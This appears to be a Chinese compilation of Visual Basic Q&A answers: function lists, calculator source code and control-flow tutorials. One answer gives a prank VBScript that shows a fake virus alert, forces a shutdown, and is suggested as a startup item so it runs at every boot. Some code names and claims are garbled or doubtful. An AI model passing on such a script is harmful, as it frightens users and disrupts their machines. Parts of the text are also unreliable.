vb语言代码大全（vb函数大全）

本文目录

• vb函数大全
• vbs代码大全
• VB语言代码中的代码意思
• vb:简易计算器（加减乘除）代码
• VB语句函数大全
• VB语言 基本语句（会数学的也可以)

vb函数大全

VB中字符串函数包含： mid、instr、InStrRev、left、right、ucase、lcase、trim、string

space、strconv、len、ltrim、rtirm、split()、join()、srereverse、replaceFilterMonthName

Format、LSet、RSet、FormatCurrency、FormatDateTime、FormatNumber

FormatPercent、StrComp、StrConv、StrReverse、WeekdayName、Option Compare

扩展资料:

一、基础字符串函数部分（必须要掌握）

1，len函数返回 Long，其中包含字符串内字符的数目，或是存储一变量所需的字节数。

2，Left函数返回 Variant (String)，其中包含字符串中从左边算起指定数量的字符

3，Right函数返回 Variant (String)，其中包含从字符串右边取出的指定数量的字符

4，Mid函数返回 Variant (String)，其中包含字符串中指定数量的字符。

5，LTrim、RTrim与 Trim 函数    

返回 Variant (String)，其中包含指定字符串的拷贝，没有前导空白 (LTrim)、尾随空白 (RTrim) 或前导和尾随空白 (Trim)。

vbs代码大全

哈哈，LS的比较搞笑
先说VBS：
我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已，
VB对网络的支持堪称完美，所以不少的**程序都选择用VB来编写，但是其代码量绝对不是我们可以在百度贴出来的，而且......等等，总之，代码贴出来是不可能了
再说代码：
LS的你别嫌他的少，他这个是无毒无害，对于对操作系统不通的童鞋来说是挺管用的
如果你觉得太少，就把这个文件在注册表里做成启动项，让它开机就启动，呵呵
如果不够你的意，就这样改：
Msgbox "您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动。",16+4096,"Windows安全警报"
Shell "cmd/c shutdown -s -t 5"
佛祖曰：普度众生，这样就行
后面那一句代码是用来关机的，VBS代码你应该会插入把
创建个文本文档
输入代码
改后缀.txt为.vbs
双击运行即可

VB语言代码中的代码意思

这个挺简单点的啊，实现的效果就是文本框3里的值是文本框1和文本框2的和，差，积，商，不同的按钮对应着不同的功能，不过按你的程序计算下来，必须得先按下1~4中的任何一个按钮再按下第五个按钮才能实现相应的功能，好比你只有先点击Command1，再点击Command5，才能实现加**能，程序的意思是先点击按钮1~4中的一个，把“+”“—”“*”“/”的值先赋给opt,完了才进行下面的选择程序Private Sub Command5_Click()
Dim a, b, result As Double
a = Val(Text1.Text)把文本框的值分别赋给a和b
b = Val(Text2.Text)
Select Case opt选择情况，opt已经通过上面的按钮赋予了值。这个值就是运算符号，下面是分情况判断，确定你到底是按了哪个按钮。
Case "+"意思是如果你显示点击的是Command1即opt的值是+号时执行“result = a + b”
result = a + b下面的意思是一样的。
Case "-"
result = a - b
Case "*"
result = a * b
Case "/"
result = a / b
End Select
Text3.Text = result把result的值在赋给文本框3从而输出结果
End Sub
鉴于你说你是新手，所以我讲的可能比较啰嗦，希望你能够看明白，不明白可以跟我讲

vb:简易计算器（加减乘除）代码

代码如下：

Dim t, t1 As Integer

Dim x, y As Double

Public Sub com()

x = Val(l1.Caption)

Select Case t1

Case Is = 1: y = y + x

Case Is = 2: y = y - x

Case Is = 3: y = y * x

Case Is = 4: y = y / x

End Select

t1 = 0

t = 0

l1.Caption = "0"

End Sub

Private Sub Form_Load()

x = 0

y = 0

t = 0

t1 = 1

End Sub

Private Sub c0_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "0"

Else

l1.Caption = l1.Caption + "0"

End If

End Sub

Private Sub C1_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "1"

Else

l1.Caption = l1.Caption + "1"

End If

End Sub

Private Sub c10_Click(Index As Integer)

If t = 0 Then

l1.Caption = l1.Caption + "."

t = 1

End If

End Sub

Private Sub C2_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "2"

Else

l1.Caption = l1.Caption + "2"

End If

End Sub

Private Sub C3_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "3"

Else

l1.Caption = l1.Caption + "3"

End If

End Sub

Private Sub **_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "4"

Else

l1.Caption = l1.Caption + "4"

End If

End Sub

Private Sub C5_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "5"

Else

l1.Caption = l1.Caption + "5"

End If

End Sub

Private Sub C6_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "6"

Else

l1.Caption = l1.Caption + "6"

End If

End Sub

Private Sub C7_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "7"

Else

l1.Caption = l1.Caption + "7"

End If

End Sub

Private Sub C8_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "8"

Else

l1.Caption = l1.Caption + "8"

End If

End Sub

Private Sub C9_Click(Index As Integer)

If l1.Caption = "0" Then

l1.Caption = "9"

Else

l1.Caption = l1.Caption + "9"

End If 

End Sub

Private Sub z1_Click(Index As Integer)

com

t1 = 1

End Sub

Private Sub z2_Click(Index As Integer)

com

t1 = 2

End Sub

Private Sub z3_Click(Index As Integer)

com

t1 = 3

End Sub

Private Sub z4_Click(Index As Integer)

com

t1 = 4

End Sub

Private Sub z5_Click(Index As Integer)

tmp = Mid(l1.Caption, Len(l1.Caption), 1)

If tmp = "." Then

t = 0

End If

If Len(l1.Caption) = 1 Then

l1.Caption = "0"

Else

l1.Caption = Left(l1.Caption, Len(l1.Caption) - 1)

End If

End Sub

Private Sub z6_Click(Index As Integer)

l1.Caption = "0"

Form_Load

End Sub

Private Sub z7_Click(Index As Integer)

If (l1.Caption 《》 "0") Then

l1.Caption = "-" + l1.Caption

End If

End Sub

Private Sub z8_Click(Index As Integer)

com

l1.Caption = Str(y)

End Sub

扩展资料

语言缺点

Visual Basic 语言具有不支持继承、无原生支持多线程、异常处理不完善等三项明显缺点，使其有所局限性（此些缺点皆已在 vb .net 获得改进）。

不支持继承

VB 5.0 和 VB 6.0 都是基于对象的编程语言，但是不包含继承特性。VB 中提供了特殊的类的功能，但是还是不能满足程序员的需求。

无原生支持多线程

Visual Basic 对于多线程无原生支持，只能通过Windows API的调用实现，且极其的不稳定。因为在API创建的线程中，并没有自动初始化运行时库，导致部分的函数无法使用。一般的，在VB6等早期的VB开发环境下，使用API创建线程的目的是完成容易使程序假死的大量数据或者逻辑的计算。

异常处理不完善

Visual Basic 中内置异常处理，即使未写异常处理代码，一旦用户出错也会弹出一个明确写出出错原因对话框，接着程序终止。

Visual Basic 中可以使用 Err.Raise抛出异常。对系统及用户抛出的异常的处理常用两种模式：一是使用 On Error Resume Next 处理错误；另一种是使用 On Error Goto 将运行引入错误处理代码。但相对 C++ 等语言而言，这样的异常处理破坏了代码的结构。

VB语句函数大全

VB函数大全_基本函数大全 dayf,2009-08-13 10:12:42
Abs 函数 返回数的绝对值。
And 运算符 执行两个表达式的逻辑连接。
Array 函数 返回含一数组的 变体 。
Asc 函数 返回字符串首字母的 ANSI 字符代码。
赋值运算符 (=) 给变量或属性赋值。
Atn 函数 返回数的反正切值。
调用语句 将控制移交 Sub 或 Function 过程。
CBool 函数 返回已被转换为 Boolean 子类型的变体的表达式。
CByte 函数 返回已被转换为字节子类型的变体的表达式。
CCur 函数 返回已被转换为货币子类型的变体的表达式。
CDate 函数 返回已被转换为日期子类型的变体的表达式。
CDbl 函数 返回已被转换为双精度子类型的变体的表达式。
Chr 函数 返回指定 ANSI 字符码的字符。
CInt 函数 返回已被转换为整数子类型的变体的表达式。
Class 对象 提供对已创建的类的事件的访问。
Class 语句 声明类名
Clear 方法 清除 Err 对象的所有属性设置。
CLng 函数 返回已被转换为 Long 子类型的变体的表达式。
颜色常数 颜色常数列表。
比较常数 用于比较运算的常数列表。
连接运算符 (&) 强制两个表达式的字符串连接。
C***t 语句 声明用于字母值的常数。
Cos 函数 返回角度的余弦值。
CreateObject 函数 创建并返回对“自动”对象的引用。
CSng 函数 返回已被转换为单精度子类型的变体的表达式。
CStr 函数 返回已被转换为字符串子类型的变体的表达式。
日期和时间常数 在日期和时间运算中用来定义星期几和其他常数的常数列表。
日期格式常数 用于日期和时间格式的常数列表。
Date 函数 返回当前系统日期。
DateAdd 函数 返回加上了指定的时间间隔的日期。
DateDiff 函数 返回两个日期之间的间隔。
DatePart 函数 返回给定日期 的指定部分。
DateSerial 函数 返回指定年月日的 日期子类型的变体 。
DateValue 函数 返回日期子类型的变体 。
Day 函数 返回日期，取值范围为 1 至 31。
Description 属性 返回或者设置说明某个错误的字符串。
Dictionary 对象 存储数据键、项目对的对象。
Dim 语句 声明变量并分配存储空间。
除法运算符 (/) 两数相除并以浮点数格式返回商。
Do...Loop 语句 当条件为 True 或者当条件变为 True 时，重复一语句块。
Empty 表示尚未初始化的变量值。
Eqv 运算符 使两个表达式相等。
Erase 语句 重新初始化固定数组的元素并重新分配动态数组的存储空间。
Err 对象 含有关于运行时错误的信息。
Eval 函数 计算并返回表达式的值。
Execute 方法 根据指定的字符串，执行正则表达式的搜索。
Execute 语句 执行单个或更多的指定语句。
Exit 语句 退出 Do...Loop、For...Next、 Function 或 Sub 代码块。
Exp 函数 返回 e （自然对数的底）的多少次方。
自乘运算符 (^) 指数函数，幂为自变量。
False 关键字，其值为零。
FileSystemObject 对象 提供对计算机文件系统的访问。
Filter 函数 根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。
FirstIndex 属性 返回字符串匹配的位置。
Fix 函数 返回数的整数部分。
For...Next 语句 以指定的次数重复一组语句。
For Each...Next 语句 对于数组或集合中的每一个元素，重复一组语句。
FormatCurrency 函数 返回的表达式为货币值格式，其货币符号采用系统控制面板中定义的。
FormatDateTime 函数 返回格式化为日期或时间的表达式。
FormatNumber 函数 返回格式化为数的表达式。
FormatPercent 函数 返回格式化为百分比（乘以 100）的表达式，以 % 符号结尾。
Function 语句 声明形成 Function 过程体的名称、参数和代码。
GetObject 函数 从文件返回对“自动”对象的访问。
GetRef 函数 返回对可以绑定到事件的过程的引用。
Global 属性 设置或返回 Boolean 值。
Hex 函数 返回表示数的十六进制值的字符串。
HelpContext 属性 设置或返回帮助文件中某主题的上下文 ID。
HelpFile 属性 设置或返回帮助文件的全路径。
Hour 函数 返回小时数，取值范围为 0 至 23。
If...Then...Else 语句 根据表达式的值，有条件地执行一组语句。
IgnoreCase 属性 设置或返回 Boolean 值，指示模式搜索是否区分大小写。
Imp 运算符 执行两个表达式的逻辑隐含。
初始化事件
发生在创建相关类的实例时。
InputBox 函数 在对话框中显示提示，等待用户输入文本或者单击按钮，并返回文本框的内容。
InStr 函数 返回一个字符串在另一个字符串中第一次出现的位置。
InStrRev 函数 返回一个字符串在另一个字符串中出现的位置，是从字符串的末尾算起。
Int 函数 返回数的整数部分。
整数除法运算符(\) 两数相除，返回的商取其整数部分。
Is 运算符 比较两个对象引用变量。
IsArray 函数 返回 Boolean 值，表示变量是否为数组。
IsDate 函数 返回 Boolean 值，表示表达式是否可以转换为日期。
IsEmpty 函数 返回 Boolean 值，表示变量是否已被初始化。
IsNull 函数 返回 Boolean 值，表示表达式是否含有无效数据 (Null)。
IsNumeric 函数 返回 Boolean 值，表示表达式能否当作一个数，用来计算。
IsObject 函数 返回 Boolean 值，表示表达式是否引用了有效的“自动”对象。
Join 函数 返回连接许多包含在一个数组中的子串而创建的字符串。
LBound 函数 对于指示的数组维数，返回最小的可用下标。
LCase 函数 返回已被转换为小写字母的字符串。
Left 函数 返回字符串最左边的指定数量的字符。
Len 函数 返回字符串中的字符数量，或者存储变量所需的字节数。
Length 属性 返回在搜索字符串中匹配的长度。
LoadPicture 函数 返回图片对象。仅用于 32 位平台。
Log 函数 返回数的自然对数。
LTrim 函数 返回去掉前导空格的字符串副本。
Match 对象 提供访问匹配正则表达式的只读属性。
Matches 集合 正则表达式匹配对象的集合。
Mid 函数 从字符串中返回指定数量的字符。
Minute 函数 返回小时内的分钟数，取值范围为 0 至 59。
杂项常数 不能纳入任何其他类的常数列表。
Mod 运算符 两数相除，只返回余数。
Month 函数 返回月份，取值范围为 1 至 12。
MonthName 函数 返回表示月份的字符串。
MsgBox 常数 与MsgBox 函数一起使用的常数列表。
MsgBox 函数在对话框中显示消息，等待用户单击按钮，并返回表示用户所击按钮的数值。
乘法运算符 (*) 两数相乘。
取反运算符 (-) 表示数值表达式的相反数。
Not 运算符执行表达式的逻辑“非”运算。
Now 函数 返回当前计算机的系统日期和时间。
Nothing 使对象变量与所有实际的对象没有任何关联。
Null 表示变量含有无效的数据。
Number 属性 返回或设置代表某个错误的数值。
Oct 函数 返回表示一数的八进制值的字符串。
On Error 语句 启用错误处理。
运算符的优先级 表示各种 VBScript 运算符的优先顺序的列表。
Option Explicit 语句 强制显式声明脚本中的所有变量。
Or 运算符 执行两个表达式的逻辑“或”运算。
Pattern 属性 设置或返回正被搜索的正则表达式的模式。
Private 语句 声明私有变量并分配存储空间。
PropertyGet 语句 声明在窗体属性过程中获取（返回）属性值的名称，参数和代码。
PropertyLet 语句 声明在窗体属性过程中指定属性值的名称，参数和代码。
PropertySet 语句 声明在窗体属性过程中设置引用到对象的名称，参数和代码。
Public 语句 声明公有变量并分配存储空间。
Raise 方法 产生运行时错误。
Randomize 语句 初始化随机数发生器。
ReDim 语句 声明动态数组变量，并分配或重新分配过程级的存储空间。
RegExp 对象 提供简单正则表达式的支持。
Rem 语句 包含程序中的注释。
Replace 函数 返回一个字符串，其中某个指定的子串被另一个子串替换，替换的次数也有规定。
Replace 方法 替换在正则表达式搜索中已发现的正文。
RGB 函数 返回表示 RGB 颜色值的数。
Right 函数 返回字符串最右边的指定数量的字符。
Rnd 函数 返回一随机数。
Round 函数 返回指定位数、四舍五入的数。
RTrim 函数 返回去掉尾部空格的字符串副本。
ScriptEngine 函数 返回表示正在使用中的脚本语言的字符串。
ScriptEngineBuildVersion 函数 返回使用中的脚本引擎的编译版本号。
ScriptEngineMajorVersion 函数 返回使用中的脚本引擎的主版本号。
ScriptEngineMinorVersion 函数返回使用中的脚本引擎的次版本号。
Second 函数 返回时间的秒数，取值范围为 0 至 59。
Select Case 语句 根据表达式的值，在若干组语句中选择一组执行。
Set 语句 将对象引用赋予变量或属性。
Sgn 函数 返回表示数的符号的整数。
Sin 函数 返回角度的正弦值。
Source 属性 返回最早出错的对象或应用程序的名称。
Space 函数 返回由指定数量的空格组成的字符串。
Split 函数 返回下限为 0 的、由指定数量的子串组成的一维数组。
Sqr 函数 返回数的平方根。
StrComp 函数 返回反映字符串比较结果的值。
字符串常数 字符串常数的列表。
String 函数 返回重复的字符串，达到指定的长度。
StrReverse 函数 返回一字符串，其中字符的顺序与指定的字符串中的顺序相反。
Sub 语句 声明形成 Sub 过程体的名称、参数和代码。
减法运算符 (-) 求两数之差，或表示某数值表达式的相反数。
Tan 函数 返回角度的正切值。
终结事件
发生在相关类的实例终结之时。
Test 方法 根据指定的字符串，执行正则表达式的搜索。
Time 函数 返回反映当前系统时间的日期子类型的变体。
Timer 函数 返回时经子夜 12:00 AM 后的秒数。
TimeSerial 函数 返回含有指定时分秒时间的日期子类型的变体。
TimeValue 函数 返回含有时间的日期子类型的变体。
Trim 函数 返回去掉前导空格或末尾空格的字符串副本。
三态常数 在代码中使用，以便表示每个显示的值。
True 其值为 -1 的关键字。
TypeName 函数 返回一字符串，它提供了关于变量的变体子类型信息。
UBound 函数 返回指定维数数组的最大有效下标。
UCase 函数 返回的字符串已经被转换为大写字母。
Value 属性 返回在搜索字符串中已发现匹配的值或正文。
VarType 常数 定义变体子类型的常数列表。
VarType 函数 返回标识变体子类型的数值。
VBScript 常数 在 VBScript 中提供不同种类的常数。
Weekday 函数 返回表示星期几的数值。
WeekdayName 函数 返回表示星期几的字符串。
While...Wend 语句 只要给定的条件为 True，便执行一串语句。
With 语句 对单个的对象执行一串语句。
Xor 运算符 执行两个表达式的逻辑“异或”运算。
Year 函数返回表示年份的数值。
VB中整除运算符 \ 与取整函数 INT 的作用是否相同

性质不同。一个是运算符，一个是函数。
整除，顾名思义，有除法在里面，而取整只是删除零头而已。
但它们在某种情况下可以相互替换，如：
3\2=Int(3/2)
Int(10.11)=10.11\1参考资料：转帖的

VB语言 基本语句（会数学的也可以)

If...Then判断语句

If..Then判断语句属于一种单行假设判断语句，它会按照用户所给定的比较或逻辑表达式。

进行判断。当判断结果为“True”也就是真时，则执行Then后的程序代码块，否则跳过该块的执行步骤。

使用语法的方法如下：

If 判断式 Then 执行语句

或

If 判断式 Then

执行语句1

执行语句2

End If

其实上述的两种语法并不相同的，主要差异在于第一种写法是使用在处理程序部分的源代码较短，

无需分段的时候：

If a 》 b Then Print "a 》 b"

而当处理程序部分需要分段时，则必须使用第二种写法将执行语句包括在"If...Then...End If"范围中：

If a 》 b Then

c = a + b

Print "a + b = "& c

End If

而If...Then...Else...End If语句则可以将不符合条件式的情况，交给Else后所接的程序代码来处理：

例如：

If a 《 b Then

c = a + b

Else

c = a - b

End If

Print c

在上面程序片段中，变量C的数值会由条件式”a《b“成立与否而有不同的输出结果。

至于ElseIf的语法也是和If搭配来使用，它主要是用来进行多重逻辑判断。

If...ElseIf...Else...End If使用语法的方法如下：

If 判断式1 Then          //当判断式1成立时，执行以下语句

程序语句 甲

ElseIf 判断式2 Then      //当判断式1不成立，但判断式2成立时执行以下语句

程序语句乙

ElseIf 判断式3           //当判断式1和2都不程序，但判断式3成立时执行以下语句

程序语句 丙

Else                    //当上面所有判断式都不成立时，执行下面的语句

程序语句 丁 

End If

★Select Case判断语句

Select Case流程控制语句可以根据判断式的返回值来执行不同程序代码片段。

Select Case语法如下：

Select Case 参数

Case 条件1       //当判断式满足条件1时就执行以下的语句

程序语句1

程序语句2

Case 条件2       //当判断式满足条件2时就执行以下的语句

程序语句1

程序语句2

Case Else        //当判断式无满足任何条件时就执行Case Else标签后的语句

程序语句1

End Select

由于Select Case仅能传入一个参数，也就是说它无法执行“比较”与“判断”的操作，并且Case

仅能是数值而不能是表达式。

以下这个是个错误程序的片段：

Select Case A 》 B   //错误！！！仅能传送一个参数

或是

Select Case A

Case A 《 C      //错误！！！Case只能接受数值

★循环语句

当程序需要执行重复性工作时，可以使用循环控制语句连续执行某段程序代码，直到满足特定条件为

止。

VB提供了Fot...Next、While...Wend与Do...Liio三种循环控制语法。

For...Next循环语句

For...Next属于先测试循环控制语句，属于基本的循环控制语法。它按照用户所赋予的初值、终值

与步长表达式来重复执行某一特定程序区段。在每次执行前，系统会先检查目前初值状态是否符合

终值条件，如果不符合终值条件的话则执行增量运算后，再执行循环语句：反之如符合终值条件，则

跳出循环。

For 循环语法如下：

For 初值 to 终值 Step 步长

程序语句

Next